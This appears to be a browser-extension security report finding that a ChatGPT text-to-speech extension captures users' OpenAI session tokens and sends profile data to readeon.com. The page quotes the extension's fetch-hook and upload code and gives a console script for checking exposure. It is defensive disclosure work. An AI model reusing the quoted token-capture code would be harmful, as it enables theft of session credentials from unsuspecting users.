Is ChatGPT Reader/Transcriber: Free AI Text to Speech/Speech to Text (TTS/STT) safe?
GPT Reader intercepts the user's OpenAI session token on chatgpt.com and transmits account credentials to readeon.com.
The extension injects a script into chatgpt.com that hooks window.fetch and captures the OpenAI Bearer token from the /backend-api/me response. The token, along with the user's email, display name, OpenAI user ID, and profile picture URL, is stored in chrome.storage.sync (synced across all signed-in Chrome instances) and then sent to www.readeon.com for vendor authentication. Subsequent requests to readeon.com include a SHA-256 hash of the raw OpenAI access token as a header.
Who publishes itdemocraticdeveloper - 8 other listings from the same operator, 1 of them carrying a finding
democraticdeveloper - 8 other listings from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
8 other listings published from this account, 12k+ users between them. 1 of them carries a finding.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
OpenAI session token captured on ChatGPT, copied to synced Chrome storage
On chatgpt.com signed in, the extension hooks page network calls, reads your live OpenAI session token from the profile request, and writes it raw to chrome.storage.sync, synced to every browser on the account.
A JWT appeared after a visit.
What actually happens
You open chatgpt.com while signed in.
The page makes its normal request to /backend-api/me to load your profile.
The extension reads your OpenAI session token from that request and saves it into cloud-synced Chrome storage.
A wrapper around window.fetch pulls the Authorization bearer token and hands it to the extension, which writes it to chrome.storage.sync.
The code that does this
The fetch hook that reads the bearer token off ChatGPT's profile request
index.tsx-DL347dhR.js — AUTH_RECEIVED handler writes the raw token to synced storage
assets/index.tsx-DL347dhR.js// d = AUTH_RECEIVED listener: split off the 'Bearer ' prefix, keep the raw tokend = async f => { const { detail: { accessToken: y, userId: p, userData: g } } = f; if (y.includes("Bearer")) { u(y.split(" ")[1], p, g); return } u(y, p, g)}// u = persist to cloud-synced storageconst u = async (f, y, p) => { const g = await kM(f); // SHA-256 of the token chrome.storage.sync.set({ email: p.email, name: p.name, openaiId: p.id, picture: p.picture, accessToken: f, // raw OpenAI JWT hashAccessToken: g })}What's stored on your device
What landed in synced storage after one ChatGPT visit: your live session token, copied by Chrome to every browser on the account.
- Location
- chrome.storage.sync (cloud-synced across every browser on the same Google account)
{ "name": "<test-account-name> (test account)", "email": "<test-account-email> (test account)", "picture": "https://s.gravatar.com/avatar/...png", "openaiId": "user-4q4dbryKyBZhex41AUB7leIp", "accessToken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Im9wZW5haS00YjVjIn0.eyJodHRwczovL2FwaS5vcGVuYWkuY29tL2F1dGgiOnsiY2hhdGdwdF9hY2NvdW50X2lkIjoiYTNmMS4uLiIsImNoYXRncHRfYWNjb3VudF91c2VyX2lkIjoidXNlci00cTRkYnJ5S3lCWmhleDQxQVVCN2xlSXAifSwiYXVkIjpbImh0dHBzOi8vYXBpLm9wZW5haS5jb20vdjEiXSwiY2xpZW50X2lkIjoiYXBwX1g4elk2dlcycFE5dFIzZEU3bksxakw1Z0giLCJleHAiOjE3ODE2MDk5MTZ9.<signature> (illustrative shape; the captured value was a ~1,989-char OpenAI JWT)", "hashAccessToken": "433a6cd45c8d5690b7e40c2a00f69f391b0d56992243229c6e89e0bd1ada6b09"}Check if you're affected
Reads chrome.storage.sync and reports whether a raw OpenAI access token is present, and decodes the JWT header/payload so you can confirm it is a live OpenAI session credential.
- A browser context with access to chrome.storage.sync for this extension
// Paste into the extension's service-worker / a page console with chrome.storage access.chrome.storage.sync.get(['accessToken', 'hashAccessToken', 'email', 'openaiId'], (s) => { const t = s.accessToken; if (!t) { console.log('No accessToken in synced storage.'); return; } console.log('accessToken length:', t.length); try { const [h, p] = t.split('.'); const dec = (b) => JSON.parse(atob(b.replace(/-/g, '+').replace(/_/g, '/'))); console.log('JWT header:', dec(h)); console.log('JWT payload:', dec(p)); console.log('aud (should include api.openai.com):', dec(p).aud); } catch (e) { console.log('Value is not a decodable JWT:', e.message); } console.log('hashAccessToken (SHA-256 of token):', s.hashAccessToken);});- 1Sign in to chatgpt.com; load once.
- 2Open the extension's storage context (service worker console).
- 3Paste and run this script.
- 4A printed JWT with aud including api.openai.com confirms the token is in synced storage.
ChatGPT profile data sent to vendor server readeon.com for authentication
After reading your ChatGPT profile, the extension POSTs your email, name and OpenAI ID to readeon.com for a session token; the token embeds that data.
Later calls to readeon.com carry a SHA-256 hash of your access token via Hat-Token.
What actually happens
You open chatgpt.com while signed in.
The extension already holds your profile fields from ChatGPT's /backend-api/me response.
The extension sends your email, name and OpenAI user ID to its vendor server readeon.com to get a sign-in token.
The POST goes to www.readeon.com/api/auth/token with an X-From-Extension: true header; the returned token is cached and reused.
Profile fields placed in the outbound POST body to www.readeon.com/api/auth/token
- Your email address<test-account-email>
The email on your OpenAI/ChatGPT account, which directly identifies you.
- Your display name<test-account-name>
The name shown on your ChatGPT account.
- Your OpenAI user IDuser-4q4dbryKyBZhex41AUB7leIp
A stable identifier OpenAI assigns to your account, used to tie activity back to you.
Captured request
Observed during dynamic analysis: 200 with a vendor JWT {token:...}. The token's base64-decoded payload was {email:<test-account-email>, name:<test-account-name>, openaiId:user-4q4dbryKyBZhex41AUB7leIp, ext:true, iat:..., exp:...}; the server could only embed those three fields if it received them, confirming readeon.com receives the email, name and OpenAI user ID. (The email/name/openaiId in the body above are the signed-in test-account values reflected back in the server-issued token.)
- Content-Type
- application/json
- X-From-Extension
- true
{ "email": "<test-account-email>", "name": "<test-account-name>", "openaiId": "user-4q4dbryKyBZhex41AUB7leIp"}The code that does this
The vendor auth POST and the per-request Hat-Token hash of the OpenAI token
utils-pzkA9eIg.js — Cte() reads profile from synced storage, POSTs to readeon, caches the vendor token
assets/utils-pzkA9eIg.jsasync function Cte() { const { jwtToken: t, jwtTokenExpiry: e } = await chrome.storage.local.get(["jwtToken","jwtTokenExpiry"]); const r = await new Promise((c) => chrome.storage.sync.get(["email","name","openaiId"], c)); const { email: n, name: i, openaiId: a } = r, o = Date.now(); if (t && e && o < e - l7) return t; // reuse cached vendor token const s = await fetch(`${Us}/auth/token`, { // Us = 'https://www.readeon.com/api' method: "POST", headers: { "X-From-Extension": "true", "Content-Type": "application/json" }, body: JSON.stringify({ email: n, name: i, openaiId: a }) }); const { token: l } = await s.json(); await chrome.storage.local.set({ jwtToken: l, jwtTokenExpiry: o + c7 }); return l;}utils-pzkA9eIg.js — Tu(): every readeon API call also sends Hat-Token = SHA-256 of the OpenAI access token
assets/utils-pzkA9eIg.jsasync function Tu(t, e = {}) { const i = await Cte(); // vendor bearer token const a = await bte("hashAccessToken"); // SHA-256 of raw OpenAI access token const o = await fetch(t, { ...e, headers: { ...e.headers, Authorization: `Bearer ${i}`, "Hat-Token": a, "Content-Type": "application/json", "X-From-Extension": "true" }}); return o.json();}Where the profile data goes
- www.readeon.com
Vendor backend (GPT Reader/readeon). Receives email, name and OpenAI user ID at /api/auth/token, issues a session token, and gets a SHA-256 hash of your access token via Hat-Token.
What it can do
Permissions this extension asks for, as declared in version 2.5.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 2.6.5, which we have not unpacked yet.
See the address and title of every tab you have open
tabs
Store data in your browser
storage
Show you desktop notifications
notifications
Act on the current tab, but only after you click the extension
activeTab
Add items to the right-click menu
contextMenus
Run its own code inside the pages you visit
scripting
Where it sends data
Destinations our analysis observed ChatGPT Reader/Transcriber: Free AI Text to Speech/Speech to Text (TTS/STT) contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- www.readeon.com
ChatGPT Reader/Transcriber: Free AI Text to Speech/Speech to Text (TTS/STT) sends data to www.readeon.com. One other extension we have analyzed sends data here.